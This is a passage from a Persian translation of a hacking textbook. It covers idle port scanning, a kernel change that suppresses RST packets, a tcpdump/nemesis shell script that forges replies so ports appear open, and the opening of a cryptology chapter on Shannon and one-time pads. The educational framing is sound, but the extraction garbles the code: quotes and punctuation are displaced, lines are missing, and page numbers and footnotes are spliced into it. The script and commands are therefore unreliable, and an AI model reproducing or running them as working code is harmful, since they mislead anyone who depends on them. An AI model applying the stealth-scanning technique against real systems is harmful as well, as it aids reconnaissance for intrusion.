در اﯾﻦ ﻟﺤﻈﻪ ﻧﻔﻮذﮔﺮ ﺑﺮای ﺗﻌﯿﯿﻦ ﻣﻘﺪار اﻓﺰاﯾﺶ ﺷﻨﺎﺳﻪ ،IPﻣﺠﺪدا ﺑﺎ ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر ارﺗﺒﺎط ﺑﺮﻗﺮار ﻣﯽ ﺳﺎزد .اﮔﺮ ﺷﻨﺎﺳﻪ
ﻓﻘﻂ ﺑﺎ ﯾﮏ ﻓﺎﺻﻠﻪ اﻓﺰاﯾﺶ ﯾﺎﻓﺘﻪ ﺑﺎﺷﺪ ،ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر ،ﻫﯿﭻ ﺑﺴﺘﻪ دﯾﮕﺮی را ﺑﯿﻦ دو ﻋﻤﻠﯿﺎت ﺑﺎزرﺳـﯽ ارﺳـﺎل ﻧﻤـﯽ ﮐﻨـﺪ و
اﯾﻦ ﯾﻌﻨﯽ .ﭘﻮرت روی ﺳﯿﺴﺘﻢ ﻫﺪف ﺑﺴﺘﻪ اﺳﺖ .اﮔﺮ ﺷﻨﺎﺳﻪ IPﺑﺎ دو ﻓﺎﺻﻠﻪ اﻓﺰاﯾﺶ ﯾﺎﻓﺘﻪ ﺑﺎﺷﺪ ،اﺣﺘﻤﺎﻻ ﺳﯿـﺴﺘﻢ ﺑﯿﮑـﺎر
ﯾﮏ ﺑﺴﺘﻪ )اﺣﺘﻤﺎﻻ ﯾﮏ ﺑﺴﺘﻪ (RSTرا ﺑﯿﻦ دو ﻋﻤﻠﯿﺎت ﺑﺎزرﺳﯽ ارﺳﺎل ﮐـﺮده اﺳـﺖ و اﯾـﻦ ﯾﻌﻨـﯽ ،ﭘـﻮرت روی ﺳﯿـﺴﺘﻢ
ﻫﺪف ﺑﺎز اﺳﺖ .در ﺗﺼﻮﯾﺮ زﯾﺮ ﻣﺮاﺣﻞ ﻫﺮ دو ﭘﯿﺸﺎﻣﺪ ﻣﻤﮑﻦ را ﺷﺮح داده اﯾﻢ:
138
اﻟﺒﺘﻪ ،در ﺻﻮرﺗﯽ ﮐﻪ ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر ،ﻋﻤﻼ ﺑﯿﮑﺎر ﻧﺒﺎﺷﺪ ،ﻧﺘﺎﯾﺞ درﯾﺎﻓﺘﯽ ﻧﺎدرﺳﺖ ﺧﻮاﻫﺪ ﺑﻮد .اﮔﺮ ﺗﺮاﻓﯿﮏ ﮐﻤﯽ روی ﻣﯿﺰﺑﺎن
ﺑﯿﮑﺎر در ﺟﺮﯾﺎن ﺑﺎﺷﺪ ،اﻣﮑﺎن ارﺳﺎل ﭼﻨﺪﯾﻦ ﺑﺴﺘﻪ ﺑﻪ ﻫﺮ ﭘﻮرت ﺧﻮاﻫﺪ ﺑﻮد .ﻣﺜﻼ در ﺻﻮرﺗﯽ ﮐﻪ 20ﺑﺴﺘﻪ ارﺳـﺎل ﺷـﻮﻧﺪ،
آﻧﮕﺎه ﺑﺎﯾﺴﺘﯽ ﺷﺎﻫﺪ ﯾﮏ اﻓﺰاﯾﺸﯽ 20ﻣﺮﺣﻠﻪ ای ﺑﺮای ﯾﮏ ﭘﻮرت ﺑﺎز ﺑﺎﺷﯿﻢ و ﺑﺮای ﯾﮏ ﭘﻮرت ﺑﺴﺘﻪ ﻫـﯿﭻ اﻓﺰاﯾـﺸﯽ در
ﮐﺎر ﻧﺨﻮاﻫﺪ ﺑﻮد .ﺣﺘﯽ در ﺻﻮرﺗﯽ ﮐﻪ ﺗﺮاﻓﯿﮏ ﮐﻤﯽ روی ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﺪ ،ﻣﺜﻼ ﯾـﮏ ﯾـﺎ دو ﺑـﺴﺘﻪ ﮐـﻪ ﺑـﻪ
ﻋﻤﻠﯿﺎت ﭘﻮﯾﺶ ارﺗﺒﺎﻃﯽ ﻧﺪارﻧﺪ ،آﻧﮕﺎه اﯾﻦ ﺗﻔﺎوت ﺑﻪ اﻧﺪازه ﮐﺎﻓﯽ ﺑﺰرگ ﺧﻮاﻫﺪ ﺑﻮد ﮐﻪ ردﯾﺎﺑﯽ ﻣﻤﮑﻦ ﺑﺎﺷﺪ.
اﮔﺮ اﯾﻦ ﺗﮑﻨﯿﮏ ﺑﻄﻮر ﺻﺤﯿﺢ روی ﯾﮏ ﻣﯿﺰﺑﺎن ﺑﯿﮑﺎر ﻓﺎﻗﺪ اﻣﮑﺎﻧﺎت ﻻگ ﺑﺮداری اﻋﻤﺎل ﺷﻮد ،ﻧﻔـﻮذﮔﺮ ﻣـﯽ ﺗﻮاﻧـﺪ ﺑـﺪون
ﻓﺎش ﺷﺪن آدرس IPﺧﻮد ،ﻫﺮ ﻫﺪﻓﯽ را ﭘﻮﯾﺶ ﮐﻨﺪ.
ﭘﻮﯾﺶ ﻫﺎی ﭘﻮرت اﻏﻠﺐ ﻗﺒﻞ از ﺣﻤﻠﻪ و ﺟﻬﺖ ﻧﻘﺸﻪ ﺑﺮداری از ﺳﯿﺴﺘﻢ ﻫﺎ اﺳﺘﻔﺎده ﻣﯽ ﮔﺮدﻧﺪ .داﻧﺴﺘﻦ ﺑﺎز ﺑـﻮدن ﭘـﻮرت
ﻫﺎ ،ﺑﻪ ﻧﻔﻮذﮔﺮ اﺟﺎزه ﺗﻌﯿﯿﻦ ﮐﺮدن ﺣﻤﻠﻪ ﺑﻪ ﺳﺮوﯾﺲ ﻫﺎی ﻣﺸﺨﺺ را ﺧﻮاﻫﺪ داد .ﺑﺴﯿﺎری از ﺳﯿﺴﺘﻢ ﻫﺎی ﺗﺸﺨﯿﺺ ﻧﻔﻮذ
139
ﻃﺮﻗﯽ را ﺑﺮای ردﯾﺎﺑﯽ ﭘﻮﯾﺶ ﻫﺎی ﭘﻮرت اراﺋﻪ ﻣﯽ دﻫﻨﺪ ،اﻣﺎ اﯾﻦ ﮐﺎر زﻣﺎﻧﯽ اﻣﮑﺎن ﭘﺬﯾﺮ اﺳﺖ ﮐﻪ اﻃﻼﻋﺎﺗﯽ راﺟـﻊ ﺑـﻪ آن
ﺗﮑﻨﯿﮏ ﭘﻮﯾﺶ ﭘﻮرت در دﺳﺖ ﺑﺎﺷﺪ .در زﻣﺎن ﻧﻮﺷﺘﻦ اﯾﻦ ﻓﺼﻞ ،در ﻓﮑﺮ اﯾﻦ ﻣﻄﻠﺐ ﺑﻮدم ﮐﻪ آﯾـﺎ ﻣﻤﮑـﻦ اﺳـﺖ ﻗﺒـﻞ از
رﺧﺪاد ﭘﻮﯾﺶ ﻫﺎی ﭘﻮرت ،ﺑﺘﻮان ﺟﻠﻮی آﻧﻬﺎ را ﮔﺮﻓﺖ .ﻋﻠﻢ ﻫﮏ و اﻣﻨﯿﺖ ﺑﺎ اﯾﺪه ﻫﺎی ﺟﺪﯾﺪ رﺷﺪ ﻣـﯽ ﮐﻨـﺪ ،ﻟـﺬا روﺷـﯽ
ﺳﺎده را ﺟﻬﺖ دﻓﺎع در ﻣﻘﺎﺑﻞ ﭘﻮﯾﺶ ﻫﺎی ﭘﻮرت ﺑﺮرﺳﯽ ﻣﯽ ﮐﻨﯿﻢ.
اﺑﺘﺪا ذﮐﺮ اﯾﻦ ﻧﮑﺘﻪ ﺿﺮوری اﺳﺖ ﮐﻪ ﻣﯽ ﺗﻮان ﺑﺎ ﺗﻐﯿﯿﺮی ﺳﺎده در ﻫﺴﺘﻪ ﻣﺎﻧﻊ ﭘﻮﯾﺶ ﻫـﺎی Null ،FINو X-masﺷـﺪ.
در ﺻﻮرﺗﯽ ﮐﻪ ﻫﺴﺘﻪ ،ﺑﺴﺘﻪ ﻫﺎی resetرا ﺗﺤﺖ ﻫﯿﭻ ﺷﺮاﯾﻄﯽ ارﺳﺎل ﻧﮑﻨﺪ ،اﯾﻦ ﭘﻮﯾﺶ ﻫﺎ ﻫﯿﭻ ﻧﺘﯿﺠﻪ ای در ﺑﺮ ﻧﺨﻮاﻫﻨـﺪ
داﺷﺖ .در ﻣﺜﺎل زﯾﺮ ،ﻣﺎ از grepﺟﻬﺖ ﯾﺎﻓﺘﻦ ﮐﺪ ﻣﺴﺌﻮل ﻫﺴﺘﻪ ﺟﻬﺖ ارﺳﺎل ﺑﺴﺘﻪ ﻫﺎی resetاﺳﺘﻔﺎده ﮐﺮده اﯾﻢ:
ﺑﺎ اﺿﺎﻓﻪ ﮐﺮدن دﺳﺘﻮر ) returnﺑﺦ ﺻﻮرت ﺿﺨﯿﻢ ﻧﻤﺎﯾﺶ ﯾﺎﻓﺘـﻪ اﺳـﺖ( ،ﺑﺠـﺎی اﻧﺠـﺎم ﮐﺎرﻫـﺎی دﯾﮕـﺮ ،ﺗـﺎﺑﻊ ﻫـﺴﺘﻪ ای
)( tcp_v4_send_resetاﺟﺮا ﻣﯽ ﺷﻮد .ﭘﺲ از ﮐﺎﻣﭙﺎﯾﻞ ﻣﺠﺪد ،ﻫﺴﺘﻪ ای را در اﺧﺘﯿﺎر ﺧﻮاﻫﯿﻢ داﺷـﺖ ﮐـﻪ ﺑـﺴﺘﻪ ﻫـﺎی
resetرا ارﺳﺎل ﻧﻤﯽ ﮐﻨﺪ و ﺑﻪ اﯾﻦ ﻃﺮﯾﻖ ﻣﺎﻧﻊ از ﻓﺎش ﺷﺪن اﻃﻼﻋﺎت ﻣﯽ ﺷﻮد.
FIN scan before the kernel modification:
#!/bin/sh
"HOST="192.168.0.189
)/usr/sbin/tcpdump -e -S -n -p -l "(tcp[13] == 2) and (dst host $HOST
and !(dst
{' port 22)" | /bin/awk
# Output numbers as unsigned
;"CONVFMT="%u
# Seed the randomizer
;)(srand
# Increment the received seq number for the new ack number
;ack_num = substr($10,1,index($10,":")-1)+1
# Generate a random seq number
;seq_num = rand() * 4294967296
# ./shroud.sh
tcpdump: listening on eth1
[in] 14:07:09.793997 0:0:ad:d1:c7:ed 0:2:2d:4:93:e4 0800 74:
192.168.0.193.32837 >
192.168.0.189.12345: S 2071082535:2071082535(0)
[out] nemesis tcp -v -fS -fA -S 192.168.0.189 -x 12345 -H 0:2:2d:4:93:e4 -D
192.168.0.193 -y 32837 -M 0:0:ad:d1:c7:ed -s 979061690 -a 2071082536
TCP Packet Injection -=- The NEMESIS Project Version 1.4beta3 (Build 22)
142
21/tcp open ftp
22/tcp open ssh
23/tcp open telnet
24/tcp open priv-mail
25/tcp open smtp
[ output trimmed ]
#!/bin/sh
HOST="192.168.0.189"
/usr/sbin/tcpdump -e -S -n -p -l "(tcp[13] == 2) and (dst host $HOST)" |
/bin/awk
'{
# Output numbers as unsigned
CONVFMT="%u";
# Increment the received seq number for the new ack number
143
ack_num = substr($10,1,index($10,":")-1)+1;
# Generate a random seq number
seq_num = rand() * 4294967296;
# Do it again to craft the second packet, this time ACK/PSH with a banner
exec_string = "nemesis tcp -v -fP -fA -S "src_ip" -x "src_port" -H
"src_mac" -D
"dst_ip" -y "dst_port" -M "dst_mac" -s "seq_num2" -a "ack_num" -P banner";
81
payload
144
)[Ethernet type] IP (0x0800
145
ﻓﺼﻞ :4رﻣﺰﺷﻨﺎﺳﯽ
ﻣﺮور
ﻋﻠﻢ رﻣﺰﺷﻨﺎﺳﯽ ﯾﺎ ﮐﺮﯾﭙﺘﻮﻟﻮژی ) (Cryptologyﺑﻪ ﻣﻨﻈﻮر ﺑﺮرﺳﯽ رﻣﺰﻧﮕﺎری 82ﯾﺎ ﺗﺠﺰﯾﻪ و ﺗﺤﻠﯿﻞ رﻣﺰ 83ﺗﻌﺮﯾﻒ ﺷـﺪه
اﺳﺖ .رﻣﺰﻧﮕﺎری ﯾﺎ رﻣﺰﻧﻮﯾﺴﯽ ،ﻓﺮآﯾﻨﺪِ ارﺗﺒﺎط ﻣﺤﺮﻣﺎﻧﻪ ﺑﻮاﺳﻄﻪ اﺳﺘﻔﺎده از رﻣﺰﻫﺎ ) (cipherﻣﯽ ﺑﺎﺷﺪ و ﺗﺠﺰﯾﻪ و ﺗﺤﻠﯿﻞ
رﻣﺰ )ﮐﺮﯾﭙﺘﻮآﻧﺎﻟﯿﺰ( ،ﻓﺮآﯾﻨﺪ ﮐﺮک ﮐﺮدن ﯾﺎ رﻣﺰﮔﺸﺎﯾﯽ ارﺗﺒﺎﻃﺎتِ ﻣﺤﺮﻣﺎﻧﻪ ی ﯾﺎدﺷﺪه ﻣﯽ ﺑﺎﺷﺪ .از ﻟﺤﺎظ ﺗـﺎرﯾﺨﯽ ،ﻋﻠـﻢ
رﻣﺰﺷﻨﺎﺳﯽ ،ﻣﺰاﯾﺎ و ﻓﻮاﯾﺪ ﺧﺎﺻﯽ در ﺧﻼل ﺟﻨﮓ ﻫﺎ داﺷﺘﻪ اﺳﺖ ،اﺳﺘﻔﺎده از ﮐﺪﻫﺎی ﻣﺤﺮﻣﺎﻧﻪ ﺑﺮای ارﺗﺒـﺎط ﺑـﺎ ﺳـﺮﺑﺎزان
ﺧﻮدی و ﻫﻤﭽﻨﯿﻦ ﺗﻼش ﺑﺮای ﺷﮑﺴﺘﻦ رﻣﺰﻫﺎی دﺷﻤﻦ ﺟﻬﺖ ﻧﻔﻮذ ﺑﻪ ارﺗﺒﺎﻃﺎت آﻧﻬﺎ.
ﮐﺎرﺑﺮدﻫﺎی دوره ﺟﻨﮓ ﻫﻨﻮز ﻫﻢ وﺟﻮد دارﻧﺪ ،اﻣﺎ ﺑﻪ ﻧﻮﻋﯽ ﻣﺘﻔﺎوت .ﺑﻪ ﻣﺤﺾ اﯾﻨﮑﻪ ﻣﻌﺎﻣﻼﺗﯽ ﺣﯿـﺎﺗﯽ روی اﯾﻨﺘﺮﻧـﺖ رخ
دﻫﻨﺪ ،اﺳﺘﻔﺎده از رﻣﺰﻧﮕﺎری در زﻧﺪﮔﯽ ﻏﯿﺮﻧﻈﺎﻣﯽ ﻧﯿﺰ ﺑﻪ ﻃﻮر ﭼﺸﻤﮕﯿﺮی ﻣﻮرد ﺗﻮﺟﻪ ﻗﺮار ﻣﯽ ﮔﯿﺮد .اﺳـﺘﺮاق در ﺷـﺒﮑﻪ
) (Network Sniffingآﻧﻘﺪر ﺗﮑﺮار ﻣﯽ ﺷﻮﻧﺪ ،ﮐﻪ اﯾﻦ ﻓﺮض دﯾﻮاﻧﻪ وار ﮐﻪ ﺷﺨﺼﯽ ﻫﻤﯿﺸﻪ در ﺣﺎل اﺳـﺘﺮاق ﺗﺮاﻓﯿـﮏ
ﺷﺒﮑﻪ اﺳﺖ ،ﻣﻤﮑﻦ اﺳﺖ دﯾﮕﺮ دﯾﻮاﻧﻪ وار ﺑﻪ ﻧﻈﺮ ﻧﯿﺎﯾﺪ .ﭘﺴﻮردﻫﺎ ،ﺷﻤﺎره ﻫﺎی ﮐـﺎرت ﻫـﺎی اﻋﺘﺒـﺎری و دﯾﮕـﺮ اﻃﻼﻋـﺎت
ﺧﺼﻮﺻﯽ را از روی ﭘﺮوﺗﮑﻞ ﻫﺎی ﻏﯿﺮرﻣﺰﻧﮕﺎری ﻧﺸﺪه ،ﻣﯽ ﺗﻮان ﺗﻤﺎﻣﺎ اﺳﺘﺮاق ﮐﺮد .ﭘﺮوﺗﮑﻞ ﻫـﺎی ارﺗﺒـﺎﻃﯽ رﻣﺰﻧﮕـﺎری
ﺷﺪه ،راه ﺣﻠﯽ ﺑﺮای اﯾﻦ ﻓﻘﺪانِ ﻣﺤﺮﻣﺎﻧﮕﯽ ﻫـﺴﺘﻨﺪ و اﺟـﺎزه ﻣـﯽ دﻫﻨـﺪ ﮐـﻪ اﻗﺘـﺼﺎد اﯾﻨﺘﺮﻧﺘـﯽ ﺑـﻪ ﺟﺮﯾـﺎن ﺑﯿﻔﺘـﺪ .ﺑـﺪون
رﻣﺰﻧﮕﺎری ،84SSLاﻧﺘﻘﺎﻻت ﮐﺎرت اﻋﺘﺒﺎری در وب ﺳﺎﯾﺖ ﻫﺎی ﻣﺸﻬﻮر ﻣﯽ ﺗﻮاﻧﺪ ﺑﺴﯿﺎر ﻧﺎ اﻣﻦ ﺑﺎﺷﺪ.
85
ﺗﻤﺎم اﯾﻦ داده ﻫﺎی ﻣﺤﺮﻣﺎﻧﻪ ﺗﻮﺳﻂ اﻟﮕﻮرﯾﺘﻢ ﻫﺎی رﻣﺰﻧﮕﺎری ﺣﻔﻆ ﻣﯽ ﮔﺮدﻧﺪ .در ﺣـﺎل ﺣﺎﺿـﺮ ﺳﯿـﺴﺘﻢ ﻫـﺎی رﻣـﺰی
ﺛﺎﺑﺖ ﮐﺮده اﻧﺪ ﮐﻪ ﻣﯽ ﺗﻮان از آﻧﻬﺎ در ﮐﺎرﺑﺮدﻫﺎی ﻋﻤﻠﯽ در ﺳﻄﺢ وﺳﯿﻊ اﺳﺘﻔﺎده ﮐﺮد ،ﻟﺬا ﺑﺠﺎی ﻣﺤﺎﺳﺒﺎت رﯾﺎﺿﯽ ﺟﻬﺖ
ﺣﺼﻮل اﻣﻨﯿﺖ ،ﺳﯿﺴﺘﻢ ﻫﺎﯾﯽ رﻣﺰی وﺟﻮد دارﻧﺪ ﮐﻪ ﻋﻤﻼ اﯾﻤﻦ ﺑﻮده و ﻣﻮرد اﺳﺘﻔﺎده ﻗﺮار ﻣﯽ ﮔﯿﺮﻧﺪ .اﻟﺒﺘﻪ اﻣﮑﺎن دارد ﮐﻪ
ﻣﯿﺎﻧﺒﺮﻫﺎﯾﯽ ﺑﺮای از ﺑﯿﻦ ﺑﺮدن اﯾﻦ رﻣﺰﻫﺎ وﺟﻮد داﺷﺘﻪ ﺑﺎﺷﺪ ،اﻣﺎ ﻫﯿﭻ ﮐﺲ ﺗﺎ ﺑﺤﺎل ﻧﺘﻮاﻧﺴﺘﻪ آﻧﻬﺎ را ﻋﻤﻠـﯽ ﮐﻨـﺪ .ﺑـﺎ اﯾـﻦ
ﺣﺎل ﺳﯿﺴﺘﻢ ﻫﺎﯾﯽ رﻣﺰی وﺟﻮد دارﻧﺪ ﮐﻪ ﺑﻪ ﻫﯿﭻ وﺟﻪ اﯾﻤﻦ ﻧﯿﺴﺘﻨﺪ .اﯾﻦ ﻣﺸﮑﻞ ﻣﯽ ﺗﻮاﻧﺪ ﻧﺎﺷﯽ از ﭘﯿـﺎده ﺳـﺎزی ،اﻧـﺪازه
ﮐﻠﯿﺪ ﯾﺎ ﺿﻌﻒ ﺗﺤﻠﯿﻞ در ﺧﻮد رﻣﺰ ﺑﺎﺷﺪ .در ﺳﺎل ،1997ﺗﺤﺖ ﻗﺎﻧﻮن U.S.ﺑﯿـﺸﺘﺮﯾﻦ اﻧـﺪازه ﮐﻠﯿـﺪ ﻗﺎﺑـﻞ ﻗﺒـﻮل ﺑـﺮای
رﻣﺰﻧﮕﺎری در ﻧﺮم اﻓﺰارﻫﺎی ﺻﺎدر ﺷﺪه 40ﺑﯿﺖ ﺑﻮد .اﯾﻦ ﻣﺤﺪودﯾﺖ در ﻃﻮل ﮐﻠﯿﺪ ،رﻣﺰ ﻣﺘﻨـﺎﻇﺮ را ﻧـﺎ اﻣـﻦ ﻣـﯽ ﺳـﺎزد؛
ﻫﻤﺎن ﻃﻮر ﮐﻪ ﺑﻪ وﺳﯿﻠﻪ اﺟﺘﻤﺎع RSA Data Securityو Ian Goldbergﻧﺸﺎن داده ﺷـﺪ RSA .ﯾـﮏ ﻣـﺴﺎﺑﻘﻪ ﺑـﺮای
ﮐﺸﻒ رﻣﺰ ﯾﮏ ﭘﯿﺎم رﻣﺰی ﺑﺎ ﮐﻠﯿﺪ 40ﺑﯿﺘﯽ ﺑﺮﮔﺰار ﮐﺮد و ﺳﻪ و ﻧﯿﻢ ﺳﺎل ﺑﻌﺪ ،ﯾﺎن ) (Ianﺑﺮﻧﺪه اﯾﻦ ﻣـﺴﺎﺑﻘﻪ ﺷـﺪ .اﯾـﻦ
ﻣﻮﺿﻮع ﺧﻮد ﻣﺪرﮐﯽ ﻗﻮی ﺑﻮد دال ﺑﺮ اﯾﻨﮑﻪ ﮐﻠﯿﺪ ﻫﺎی 40ﺑﯿﺘﯽ ﺑﻪ اﻧﺪازه ﮐﺎﻓﯽ ﺑﺮای ﺳﯿﺴﺘﻢ ﻫـﺎی رﻣـﺰی اﻣـﻦ ،ﺑـﺰرگ
ﻧﯿﺴﺘﻨﺪ.
رﻣﺰﺷﻨﺎﺳﯽ از راه ﻫﺎی ﮔﻮﻧﺎﮔﻮﻧﯽ ﺑﻪ ﻫﮏ ﻣﺮﺑﻮط اﺳﺖ .در واﺿﺢ ﺗﺮﯾﻦ ﺳﻄﺢ ،ﭼﺎﻟﺶِ ﺣﻞ ﮐﺮدن ﯾـﮏ ﭘـﺎزل ﺑـﺮای ﻓـﺮد
ﮐﻨﺠﮑﺎو ،ﻓﺮﯾﺒﻨﺪه ﻣﯽ ﺑﺎﺷﺪ! در ﺳﻄﺤﯽ ﺑﺎﻻﺗﺮ ،داده ﻫﺎی ﻣﺤﺮﻣﺎﻧﻪ ای ﮐﻪ ﺑﻮﺳﯿﻠﻪ ﭘﺎزل ﻫﺎی ﯾﺎد ﺷﺪه ﺣﻔﺎﻇـﺖ ﻣـﯽ ﺷـﻮﻧﺪ،
ﻓﺮﯾﺒﻨﺪه ﺗﺮ ﺧﻮاﻫﻨﺪ ﺑﻮد! ﺷﮑﺴﺘﻦ ﯾﺎ ﺑﺎ ﺣﯿﻠﻪ ﻓﺎﺋﻖ آﻣﺪن ﺑﺮ ﺣﻔﺎﻇﺖ ﻫﺎی رﻣﺰﻧﮕﺎریِ اﻋﻤﺎل ﺷﺪه ﺑـﺮ داده ﻫـﺎی اﻣـﻦ ،ﻣـﯽ
ﺗﻮاﻧﺪ ﺣﺴﯽ ﺧﺎص از ﺧﺮﺳﻨﺪی و اﻃﻤﯿﻨﺎن و ﺗﺼﻮﯾﺮی از ﻣﺤﺘﻮﯾﺎت داده ای را اراﺋﻪ دﻫﺪ! ﺑﻌـﻼوه ،رﻣﺰﻧﮕـﺎری ﻣـﺴﺘﺤﮑﻢ
ﺟﻬﺖ اﺟﺘﻨﺎب از ﺗﺸﺨﯿﺺ ،ﻣﻔﯿﺪ واﻗﻊ ﻣﯽ ﺷﻮد .اﮔﺮ ﻧﻔﻮذﮔﺮ از ﯾـﮏ ﮐﺎﻧـﺎل ارﺗﺒـﺎﻃﯽ رﻣـﺰی ﺷـﺪه اﺳـﺘﻔﺎده ﮐﻨـﺪ ،آﻧﮕـﺎه
ﺳﯿﺴﺘﻢ ﻫﺎی ﺗﺸﺨﯿﺺ ﻧﻔﻮذ ﺷﺒﮑﻪ ایِ ﮔﺮان ﺑﻬﺎ ﮐﻪ ﺗﺮاﻓﯿﮏ ﺷﺒﮑﻪ را ﺟﻬﺖ ﯾﺎﻓﺘﻦ اﻣـﻀﺎﻫﺎی ﺗﻬـﺎﺟﻤﯽ اﺳـﺘﺮاق ﻣـﯽ ﮐﻨـﺪ،
82
Cryptography
83
Cryptanalysis
84
Secure Sockets Layer
85
Cryptosystem
146
86
ﮐﻪ ﺑﺮای اﻣﻨﯿﺖ ﻣﺸﺘﺮی اراﺋﻪ ﻣﯽ ﺷﻮﻧﺪ ،اﻏﻠﺐ ﺑﻪ ﻋﻨـﻮان ﺑﻼﻓﺎﯾﺪه ﺧﻮاﻫﻨﺪ ﺑﻮد .ﻧﻔﻮذﮔﺮان از دﺳﺘﯿﺎﺑﯽ وب رﻣﺰی ﺷﺪه
ﯾﮏ ﺑﺮدار ﺣﻤﻠﻪ دﺷﻮار ﺟﻬﺖ ﻣﺎﻧﯿﺘﻮر ﺷﺪن ﯾﺎد ﮐﻨﻨﺪ.
.4,1ﺗﺌﻮری اﻃﻼﻋﺎت
ﺑﺴﯿﺎری از ﻣﻔﺎﻫﯿﻢ اﻣﻨﯿﺘﯽ در ﺣﻮزه رﻣﺰﻧﮕﺎری از ذﻫﻦ ﮐﻠﻮد ﺷﺎﻧﻮن ) (Claude Shannonﻧﺸﺎت ﻣﯽ ﮔﯿﺮﻧﺪ .ﻧﻈـﺮات او
ﺗــﺎﺛﯿﺮات زﯾــﺎدی روی رﺷــﺘﻪ رﻣﺰﻧﮕــﺎری داﺷــﺘﻪ اﺳــﺖ ،ﻣﺨــﺼﻮﺻﺎ ﻧﻈﺮﯾــﻪ ﻫــﺎی اﻧﺘــﺸﺎر ) (Diffusionو اﻏﺘــﺸﺎش
) .(Confusionاﮔﺮﭼﻪ ﻣﻔﺎﻫﯿﻢ ﻣﻄﻠﻖ اﻣﻨﯿﺘـﯽ ،ﻣﺎﻧﻨـﺪ ﭘـﺮ ﮐﻨﻨـﺪه ﻫـﺎی ﯾـﮏ ﺑـﺎر ﻣـﺼﺮف ) ،(One-Time Padsﺗﻮزﯾـﻊ
ﮐﻮاﻧﺘﻮﻣﯽ ﮐﻠﯿﺪ ) (Quantum Key Distributionو اﻣﻨﯿﺖ ﻣﺤﺎﺳﺒﺎﺗﯽ ) (Computational Securityدر ﻋﻤﻞ ﺗﻮﺳﻂ
ﺷﺎﻧﻮن ﭘـﯽ رﯾـﺰی ﻧـﺸﺪه اﻧـﺪ ،اﻣـﺎ ﻧﻈﺮﯾـﻪ ﻫـﺎی او در ﺣـﻮزه ﭘﻮﺷـﺶ ﮐﺎﻣـﻞ ) (Perfect Secrecyو ﺗﺌـﻮری اﻃﻼﻋـﺎت
) ،(Information Theoryﺗﺎﺛﯿﺮات ﺷﮕﺮﻓﯽ روی ﺗﻌﺎرﯾﻒ اﻣﻨﯿﺘﯽ ﮔﺬاﺷﺖ.
ﯾﮏ ﺳﯿﺴﺘﻢ رﻣﺰی زﻣﺎﻧﯽ ﺑﻪ ﻋﻨﻮان ﯾﮏ ﺳﯿﺴﺘﻢ "اﯾﻤﻦ ﻣﻄﻠﻖ" )ﻣﻄﻠﻘﺎ اﻣﻦ( ﺷﻨﺎﺧﺘﻪ ﻣﯽ ﺷﻮد ﮐـﻪ ﺣﺘـﯽ ﺑـﺎ وﺟـﻮد ﻣﻨـﺎﺑﻊ
ﻣﺤﺎﺳﺒﺎﺗﯽ ﻧﺎﻣﺤﺪود اﻣﮑﺎن ﺷﮑﺴﺘﻪ ﺷﺪن آن ﻧﺒﺎﺷﺪ )ﻟﺬا ﺗﺤﻠﯿﻞ رﻣﺰ ﻏﯿﺮ ﻣﻤﮑﻦ ﻣﯿﺸﻮد( .ﺣﺘﯽ اﮔﺮ ﺗﻤﺎم ﮐﻠﯿﺪﻫﺎی ﻣﻤﮑﻦ،
در ﯾﮏ ﺣﻤﻠﻪ ﺟﺎﻣﻊ brute-forceاﻣﺘﺤﺎن ﺷﻮﻧﺪ ،ﺑﺎزﻫﻢ ﺗﻌﯿﯿﻦ ﮐﻠﯿﺪ درﺳﺖ در آن ﻣﺠﻤﻮﻋﻪ ﻏﯿﺮ ﻣﻤﮑﻦ ﺑﺎﺷﺪ.
ﻧﻤﻮﻧﻪ ای از ﯾﮏ ﺳﯿﺴﺘﻢ رﻣﺰی اﯾﻤﻦ ﻣﻄﻠﻖ ،ﭘﺮ ﮐﻨﻨﺪه ﯾﮏ ﺑﺎر ﻣـﺼﺮف ) (One-Time Padاﺳـﺖ .ﭘـﺮ ﮐﻨﻨـﺪه ﯾـﮏ ﺑـﺎر
ﻣﺼﺮف ،ﯾﮏ ﺳﯿﺴﺘﻢ رﻣﺰی ﺳﺎده اﺳﺖ ﮐﻪ از ﺑﻠﻮک ﻫﺎی داده ای ﺗﺼﺎدﻓﯽ ﺑﻪ ﻧﺎم ﭘﺮﮐﻨﻨﺪه ) (Padاﺳﺘﻔﺎده ﻣﯽ ﮐﻨﺪ .ﻃـﻮل
ﭘﺮﮐﻨﻨﺪه ﺑﺎﯾﺪ ﺣﺪاﻗﻞ ﺑﻪ اﻧﺪازه ﻣﺘﻦ واﺿﺢ 87رﻣﺰﺷﻮﻧﺪه ،و داده ﻫﺎی ﺗـﺼﺎدﻓﯽ در padﻧﯿـﺰ واﻗﻌـﺎ ﺑﺎﯾـﺪ ﺗـﺼﺎدﻓﯽ ﺑﺎﺷـﺪ.
دو padﻗﺎﺑﻞ ﺷﻨﺎﺳﺎﯾﯽ ﺳﺎﺧﺘﻪ ﻣﯽ ﺷﻮﻧﺪ :ﯾﮑﯽ ﺑﺮای ﮔﯿﺮﻧﺪه و دﯾﮕﺮی ﺑﺮای ﻓﺮﺳﺘﻨﺪه.
ﻓﺮﺳﺘﻨﺪه ﺟﻬﺖ رﻣﺰﮐﺮدن ﭘﯿﺎم ،ﻫﺮ ﺑﯿﺖ از ﻣﺘﻦ واﺿﺢ را ﺑﺎ ﯾﮏ ﺑﯿﺖ از داده ﻫﺎی ﭘﺮﮐﻨﻨﺪه XOR ،ﻣﯽ ﮐﻨﺪ .ﭘﺲ از رﻣـﺰ
ﺷﺪن ﭘﯿﺎم ،ﭘﺮﮐﻨﻨﺪه ﺟﻬﺖ ﺣﺼﻮل از ﺗﻨﻬﺎ ﯾﮑﺒﺎر اﺳﺘﻔﺎده ﺷﺪن از ﺑﯿﻦ ﻣﯽ رود .آﻧﮕﺎه ﻣﯽ ﺗﻮان ﭘﯿﺎم رﻣﺰﺷﺪه را ﺑﻪ ﮔﯿﺮﻧﺪه
ﺑﺪون ﺗﺮس از ﺗﺤﻠﯿﻞ رﻣﺰ ارﺳﺎل ﮐﺮد ،زﯾﺮا ﻧﻤﯽ ﺗﻮان ﭘﯿﺎم رﻣﺰﺷﺪه را ﺑﺪون ﭘﺮﮐﻨﻨﺪه ﺷﮑﺴﺖ .ﻫﻨﮕﺎﻣﯽ ﮐﻪ ﮔﯿﺮﻧﺪه ﭘﯿﺎم
